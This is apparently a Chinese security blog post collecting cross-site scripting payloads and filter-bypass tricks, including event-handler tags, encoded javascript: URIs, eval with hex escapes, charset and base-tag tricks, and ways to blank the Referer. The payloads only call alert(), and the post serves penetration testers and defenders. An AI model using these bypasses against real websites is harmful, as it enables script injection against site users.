关于 XSS 的一些搜集

XSS,没落的漏洞之王
这篇总结了一下关于 XSS 的一些思考、实践利用经验以及搜集的各种 payloads

关于 XSS 的一些想法

四步法:

  1. 输出点在哪
  2. 如何闭合原语句(或许可省略)
  3. 如何插入攻击语句
  4. 如何触发 XSS

XSS Payload

此处内容应该会举一反三:

src 可用 on 事件代替:

1
<img src="#" onclick="javascript:alert('img:onclick')" onerror="javascript:alert('img:onerror')" onload="javascript:alert('img:onload')">

1
<video src="#" onclick="javascript:alert('video:onclick')" onerror="javascript:alert('video:onerror')" onload="javascript:alert('video:onload')"></video>
1
<audio src="#" onclick="javascript:alert('audio:onclick')" onerror="javascript:alert('audio:onerror')" onload="javascript:alert('audio:onload')"></audio>

img、video、audio 标签
onclick: 点击触发
onerror: 当 src 加载不出来时触发
onload: 当 src 加载完毕触发

onerror 应该是与 onload 相互矛盾的。

src 加 伪协议 js 代码不能触发。这些标签中 src 加伪协议 js 代码不能触发,IE8 以前的时候可以

1
<iframe src="javascript:alert('iframe')" width="0" height="0"/>

iframe 标签,写入后网页加载自动执行

1
2
3
4
5
6
<form action= "Javascript:alert('from_action0')">
<input type= "submit" formaction=" JaVaScript:alert('from_action2')">

<input type= "image" formaction=" JaVaScript:alert('from_action1')">

<input type ="text" onchange ="JaVaScript:alert('from_action3')">

在表单中一些标签,前三个都要点击事件触发,最后一个是得到改变内容时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
<a onmouseover= "javascript:alert('a_onmouseover')">12</ a>

<svg onload=" javascript:alert('svg')"></svg >

<body onload= "javascript:alert('body')"></body>

<select autofocus onfocus="javascript:alert('select' )"></select>

<textarea autofocus onfocus="javascript:alert('textarea' )"></textarea>

<keygen autofocus onfocus="javascript:alert('keygen' )"></keygen>

<audio><source onerror="javascript:alert('source')"></ audio>

XSS Bypass 经验

  1. 毫无过滤(防护):四步法

  2. 过滤单引号或双引号:单引号/双引号互换使用,或者使用//:

    <input onfocus="alert(/xss/)" autofocus/>

  3. 过滤 ()

    1
    <input onfocus="alert`'1'`" autofocus/>
  4. 过滤 ( ) '

    1
    <input onfocus=alert`1` autofocus/>
  5. 各种替换:on 替换为 o_n,script替换为scri_pt`,或者空格:大小写、空白字符(tab,可用 fuzzing 测试),双写

  6. exif xss

  7. urlencode:% 给 url 编码成 %25 如果在后台对参数有再次进行 urldecode,或者输出时有 urldecode 那么就可以绕过 WAF

  8. Base64 编码绕过:譬如

    1
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">
  9. HTML 实体编码:

    1
    2
    3
    4
    5
    6
    7
    <a href= 'javascript:alert&#40;&#39;123&#39;&#41; '>Hello</a>

    <a href= "j&#97;vascript:alert&#40; '123' &#41;">Hello</a >

    <a href= "j&#97;vascript:alert&#0000040; '123' &#41;">Hello</a >

    <a href= "j&#97vascript:alert&#0000040'123' &#41">Hello</a >

    变形:

    1
    <input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>

    tip:其实在标签内的所有伪协议 JS 代码都是可以不用用双引号引起来的。

    加上 eval 函数后甚至可以是这样的(eval 认识十六进制 码 )记得把这些编码用引号引起来

    1
    2
    3
    4
    5
    <a  href="j&#97;vascript:eval('&#97;\x6c\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>

    <a href="j&#97;vascript:eval('&#97;\u006C\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>

    <a href="j&#97;vascript:eval('&#97;\154\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
  10. 控制前端编码

    譬如一个 url 如下:www.0d9y.cn/?charset='utf8 ′&…&xss=alert(/xss/)

    其实就能很简单的过 WAF 和任何函数过滤,原因很简单,你能控制 charset,这时候用一些特殊的编码,编码中会有一些字符浏览器不识别, 然后把你的注入语句中关键词插入这个编码,就能很轻松的成功触发 XSS。譬如 ISO-2022-JP 编码中的 %1b%28%4Aurl 编码,各大浏览器都是不认识的。

  11. 宽字节绕过

    记忆桩

    同 sql 里的宽字节注入

  12. 头部 Base 绕过

    记忆桩

    如果可以控制 head 中的 base 里的 src 那么接下来所有的链接文件,都是会在开头加上 base 里的 src 链接的,在自己的网站上线一个符号的 js 文件。

其他经验

Referer 为空才可以访问

有一些界面为了避免是别的地方跳转过来的 Referer 必须为空,那什么情况 Referer 为空呢,第一是 HTTPS 协议到 HTTP 的协议,这时候 Referer 为空,或者用嵌入一个 iframe 用 data 加 base64 编码的方式,还可以用

<meta name="referrer" content="never" >

来达到 referer 为空

注意返回的 type 类型

返回什么样的类型决定了浏览器渲染还是不渲染你的 XSS 代码,只有返回的是 XML 或者 HTML 才有可能会执行成功你的 XSS 代码,不过不同浏览器的特性不同,有一些返回的 type 类型可能也是可以执行 XSS 的,尤其是一些老的 ie 浏览器,具体可以看看 freebuf 之前发布过的一篇关于 type 和浏览器执行的表格。

阻止浏览器 302 跳转

总所总之,浏览器遇到 302,301 会直接跟进头部的跳转链接,可是有时候 XSS 界面就是这个跳转页面,这个跳转 url 是可控的,并且在浏览器显示如果浏览器没有正确跳转,请点击 XXX 的字样。那怎么样才可以让浏览器不自动跳转呢?一种就是把跳转的 url 端口设置低于 80 譬如输入 http://xss.com:0" onclick="alert(/1/) ,还可以使用 CSP 策略嵌入一个 iframe 拿来配合 CRLF 进行 XSS 会很舒服

注意头部的 X-XSS-Protection

这个东西就是让浏览器帮助一起防御 XSS 为 0 则不帮助,为 1 则把可能含有的在代码中直接拿掉,还有一个是类型 1;black 这样的,就是在 url 地址直接把认为可能是 xss 的拿掉,所以有时候并不是你的 XSS 代码被服务器过滤了,还有可能是被浏览器拿走了

其他 xss 文章


来呀快活呀


关于 XSS 的一些搜集
https://www.tr0y.wang/2018/04/10/XSSPayloads/
作者
Tr0y
发布于
2018年4月10日
更新于
2024年6月3日
许可协议